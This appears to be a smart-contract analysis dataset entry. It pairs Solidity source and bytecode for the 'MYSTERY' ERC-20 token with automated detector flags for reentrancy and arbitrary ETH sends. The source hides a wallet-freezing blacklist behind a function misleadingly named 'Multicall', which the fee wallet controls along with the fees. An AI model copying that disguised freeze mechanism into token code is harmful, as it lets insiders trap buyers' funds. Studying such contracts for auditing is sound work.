7420656e61626c65642e00000000000000006044820152606401610535565b60066009556004600a55601454600160a81b900460ff1615610fd257426015541115610fd257601054811115610f3b57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fad5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610535565b610fb842602d611cf5565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100c57610fef42600f611cf5565b6001600160a01b0383166000908152600660205260409020600101555b600061101730610649565b601454909150600160b01b900460ff1615801561104257506014546001600160a01b03858116911614155b80156110575750601454600160a01b900460ff165b156111c857601454600160a81b900460ff16156110e4576001600160a01b03841660009081526006602052604090206001015442116110e45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610535565b601454600160b81b900460ff161561114957600061110d600c548461150f90919063ffffffff16565b60145490915061113c9061113590859061112f906001600160a01b0316610649565b9061158e565b82906115ed565b90506111478161162f565b505b80156111b657600b5460145461117f916064916111799190611173906001600160a01b0316610649565b9061150f565b906115ed565b8111156111ad57600b546014546111aa916064916111799190611173906001600160a01b0316610649565b90505b6111b68161136a565b4780156111c6576111c647611261565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120c57506001600160a01b03831660009081526005602052604090205460ff165b15611215575060005b6112218484848461169d565b50505050565b6000818484111561124b5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d40565b95945050505050565b6011546001600160a01b03166108fc61127b8360026115ed565b6040518115909202916000818181858888f193505050501580156112a3573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112be8360026115ed565b6040518115909202916000818181858888f19350505050158015610b5c573d6000803e3d6000fd5b600060075482111561134d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610535565b60006113576116cb565b905061136383826115ed565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141457600080fd5b505afa158015611428573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144c9190611ac1565b8160018151811061146d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114939130911684610b60565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cc908590600090869030904290600401611c85565b600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151e57506000610452565b600061152a8385611d21565b9050826115378583611d0d565b146113635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610535565b60008061159b8385611cf5565b9050838110156113635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610535565b600061136383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ee565b600a808210156116415750600a611655565b602882111561165257506028611655565b50805b61166081600261171c565b15611673578061166f81611d57565b9150505b611683600a61117983600661150f565b600955611696600a61117983600461150f565b600a555050565b806116aa576116aa61175e565b6116b584848461178c565b8061122157611221600e54600955600f54600a55565b60008060006116d8611883565b90925090506116e782826115ed565b9250505090565b6000818361170f5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d0d565b600061136383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c5565b60095415801561176e5750600a54155b1561177557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179e876118f9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d09087611956565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ff908661158e565b6001600160a01b03891660009081526002602052604090205561182181611998565b61182b84836119e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189f82826115ed565b8210156118bc57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e65760405162461bcd60e51b81526004016105359190611bfd565b506118f18385611d72565b949350505050565b60008060008060008060008060006119168a600954600a54611a06565b92509250925060006119266116cb565b905060008060006119398e878787611a55565b919e509c509a509598509396509194505050505091939550919395565b600061136383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611227565b60006119a26116cb565b905060006119b0838361150f565b306000908152600260205260409020549091506119cd908261158e565b30600090815260026020526040902055505050565b6007546119ef9083611956565b6007556008546119ff908261158e565b6008555050565b6000808080611a1a6064611179898961150f565b90506000611a2d60646111798a8961150f565b90506000611a4582611a3f8b86611956565b90611956565b9992985090965090945050505050565b6000808080611a64888661150f565b90506000611a72888761150f565b90506000611a80888861150f565b90506000611a9282611a3f8686611956565b939b939a50919850919650505050505050565b600060208284031215611ab6578081fd5b813561136381611db2565b600060208284031215611ad2578081fd5b815161136381611db2565b60008060408385031215611aef578081fd5b8235611afa81611db2565b91506020830135611b0a81611db2565b809150509250929050565b600080600060608486031215611b29578081fd5b8335611b3481611db2565b92506020840135611b4481611db2565b929592945050506040919091013590565b60008060408385031215611b67578182fd5b8235611b7281611db2565b946020939093013593505050565b600060208284031215611b91578081fd5b813561136381611dc7565b600060208284031215611bad578081fd5b815161136381611dc7565b600060208284031215611bc9578081fd5b5035919050565b600080600060608486031215611be4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2957858101830151858201604001528201611c0d565b81811115611c3a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd45784516001600160a01b031683529383019391830191600101611caf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0857611d08611d86565b500190565b600082611d1c57611d1c611d9c565b500490565b6000816000190483118215151615611d3b57611d3b611d86565b500290565b600082821015611d5257611d52611d86565b500390565b6000600019821415611d6b57611d6b611d86565b5060010190565b600082611d8157611d81611d9c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064657600080fd5b801515811461064657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022a14bf64980d18406d0f64c3056552d179ee1d27b62167b292e6ed58d18f29164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,257 |
0x1b504dd81acd4a5614be8d234991a7c2cc9db146
|
/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
// SPDX-License-Identifier: MIT
/*
All the mysteries of the blockchain are in this box.
01000111 01110010 01101111 01110101 01110000
01100101 00100000 01110100 11101001 01101100
11101001 01100111 01110010 01100001 01101101
00100000 00111010 00100000 01101000 01110100
01110100 01110000 01110011 00111010 00101111
00101111 01110100 00101110 01101101 01100101
00101111 01001101 01111001 01110011 01110100
01100101 01110010 01111001 01000010 01101111
01111000 01010000 01101111 01110010 01110100
01100001 01101100
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MYSTERYBOX is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MYSTERY"; ////
string public constant symbol = unicode"MYSTERY"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf91461056d578063db92dbb614610582578063dcb0e0ad14610597578063dd62ed3e146105b7578063e8078d94146105fd57600080fd5b806395d89b4114610227578063a9059cbb14610522578063b2131f7d14610542578063c3c8cd801461055857600080fd5b8063715018a6116100dc578063715018a6146104af5780637a49cddb146104c45780638da5cb5b146104e457806394b8d8f21461050257600080fd5b80635090161714610444578063590f897e146104645780636fc3eaec1461047a57806370a082311461048f57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039d57806340b9a54b146103d657806345596e2e146103ec57806349bd5a5e1461040c57600080fd5b806327f3a72a1461032b578063313ce5671461034057806331c2d8471461036757806332d873d81461038757600080fd5b80630b78f9c0116101c15780630b78f9c0146102b957806318160ddd146102d95780631940d020146102f557806323b872dd1461030b57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610267578063095ea7b31461028957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025a604051806040016040528060078152602001664d59535445525960c81b81525081565b60405161021e9190611b8f565b34801561027357600080fd5b50610287610282366004611c09565b610612565b005b34801561029557600080fd5b506102a96102a4366004611c26565b610687565b604051901515815260200161021e565b3480156102c557600080fd5b506102876102d4366004611c52565b61069d565b3480156102e557600080fd5b50683635c9adc5dea00000610214565b34801561030157600080fd5b50610214600f5481565b34801561031757600080fd5b506102a9610326366004611c74565b610720565b34801561033757600080fd5b50610214610808565b34801561034c57600080fd5b50610355600981565b60405160ff909116815260200161021e565b34801561037357600080fd5b50610287610382366004611ccb565b610818565b34801561039357600080fd5b5061021460105481565b3480156103a957600080fd5b506102a96103b8366004611c09565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e257600080fd5b50610214600b5481565b3480156103f857600080fd5b50610287610407366004611d90565b6108a4565b34801561041857600080fd5b50600a5461042c906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045057600080fd5b5061028761045f366004611c09565b610968565b34801561047057600080fd5b50610214600c5481565b34801561048657600080fd5b506102876109d6565b34801561049b57600080fd5b506102146104aa366004611c09565b610a03565b3480156104bb57600080fd5b50610287610a1e565b3480156104d057600080fd5b506102876104df366004611ccb565b610a92565b3480156104f057600080fd5b506000546001600160a01b031661042c565b34801561050e57600080fd5b506011546102a99062010000900460ff1681565b34801561052e57600080fd5b506102a961053d366004611c26565b610ba1565b34801561054e57600080fd5b50610214600d5481565b34801561056457600080fd5b50610287610bae565b34801561057957600080fd5b50610287610be4565b34801561058e57600080fd5b50610214610c80565b3480156105a357600080fd5b506102876105b2366004611db7565b610c98565b3480156105c357600080fd5b506102146105d2366004611dd4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060957600080fd5b50610287610d15565b6008546001600160a01b0316336001600160a01b03161461063257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061069433848461105c565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106bd57600080fd5b600a8211156106cb57600080fd5b600a8111156106d957600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561074e57506001600160a01b03831660009081526004602052604090205460ff16155b80156107675750600a546001600160a01b038581169116145b156107b6576001600160a01b03831632146107b65760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107c1848484611180565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107f0908490611e23565b90506107fd85338361105c565b506001949350505050565b600061081330610a03565b905090565b6008546001600160a01b0316336001600160a01b03161461083857600080fd5b60005b81518110156108a05760006006600084848151811061085c5761085c611e3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089881611e50565b91505061083b565b5050565b6000546001600160a01b031633146108ce5760405162461bcd60e51b81526004016107ad90611e69565b6008546001600160a01b0316336001600160a01b0316146108ee57600080fd5b600081116109335760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107ad565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161067c565b6009546001600160a01b0316336001600160a01b03161461098857600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161067c565b6008546001600160a01b0316336001600160a01b0316146109f657600080fd5b47610a00816117ee565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a485760405162461bcd60e51b81526004016107ad90611e69565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ab257600080fd5b60005b81518110156108a057600a5482516001600160a01b0390911690839083908110610ae157610ae1611e3a565b60200260200101516001600160a01b031614158015610b32575060075482516001600160a01b0390911690839083908110610b1e57610b1e611e3a565b60200260200101516001600160a01b031614155b15610b8f57600160066000848481518110610b4f57610b4f611e3a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b9981611e50565b915050610ab5565b6000610694338484611180565b6008546001600160a01b0316336001600160a01b031614610bce57600080fd5b6000610bd930610a03565b9050610a0081611873565b6000546001600160a01b03163314610c0e5760405162461bcd60e51b81526004016107ad90611e69565b60115460ff1615610c5b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ad565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a54600090610813906001600160a01b0316610a03565b6000546001600160a01b03163314610cc25760405162461bcd60e51b81526004016107ad90611e69565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161067c565b6000546001600160a01b03163314610d3f5760405162461bcd60e51b81526004016107ad90611e69565b60115460ff1615610d8c5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ad565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dc93082683635c9adc5dea0000061105c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2b9190611e9e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9c9190611e9e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ee9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0d9190611e9e565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f3d81610a03565b600080610f526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fba573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fdf9190611ebb565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611038573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a09190611ee9565b6001600160a01b0383166110be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ad565b6001600160a01b03821661111f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ad565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ad565b6001600160a01b0382166112465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ad565b600081116112a85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ad565b6001600160a01b03831660009081526006602052604090205460ff161561131d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107ad565b600080546001600160a01b0385811691161480159061134a57506000546001600160a01b03848116911614155b1561178f57600a546001600160a01b03858116911614801561137a57506007546001600160a01b03848116911614155b801561139f57506001600160a01b03831660009081526004602052604090205460ff16155b1561162b5760115460ff166113f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107ad565b60105442036114355760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107ad565b42601054610e106114469190611f06565b11156114c057600f5461145884610a03565b6114629084611f06565b11156114c05760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107ad565b6001600160a01b03831660009081526005602052604090206001015460ff16611528576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115389190611f06565b111561160c57600e548211156115905760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107ad565b61159b42600f611f06565b6001600160a01b0384166000908152600560205260409020541061160c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107ad565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611645575060115460ff165b801561165f5750600a546001600160a01b03858116911614155b1561178f5761166f42600f611f06565b6001600160a01b038516600090815260056020526040902054106116e15760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107ad565b60006116ec30610a03565b905080156117785760115462010000900460ff161561176f57600d54600a5460649190611721906001600160a01b0316610a03565b61172b9190611f1e565b6117359190611f3d565b81111561176f57600d54600a5460649190611758906001600160a01b0316610a03565b6117629190611f1e565b61176c9190611f3d565b90505b61177881611873565b47801561178857611788476117ee565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117d157506001600160a01b03841660009081526004602052604090205460ff165b156117da575060005b6117e785858584866119e7565b5050505050565b6008546001600160a01b03166108fc611808600284611f3d565b6040518115909202916000818181858888f19350505050158015611830573d6000803e3d6000fd5b506009546001600160a01b03166108fc61184b600284611f3d565b6040518115909202916000818181858888f193505050501580156108a0573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118b7576118b7611e3a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119349190611e9e565b8160018151811061194757611947611e3a565b6001600160a01b03928316602091820292909201015260075461196d913091168461105c565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119a6908590600090869030904290600401611f5f565b600060405180830381600087803b1580156119c057600080fd5b505af11580156119d4573d6000803e3d6000fd5b50506011805461ff001916905550505050565b60006119f38383611a09565b9050611a0186868684611a50565b505050505050565b6000808315611a49578215611a215750600b54611a49565b50600c54601054611a3490610384611f06565b421015611a4957611a46600582611f06565b90505b9392505050565b600080611a5d8484611b2d565b6001600160a01b0388166000908152600260205260409020549193509150611a86908590611e23565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ab6908390611f06565b6001600160a01b038616600090815260026020526040902055611ad881611b61565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b1d91815260200190565b60405180910390a3505050505050565b600080806064611b3d8587611f1e565b611b479190611f3d565b90506000611b558287611e23565b96919550909350505050565b30600090815260026020526040902054611b7c908290611f06565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bbc57858101830151858201604001528201611ba0565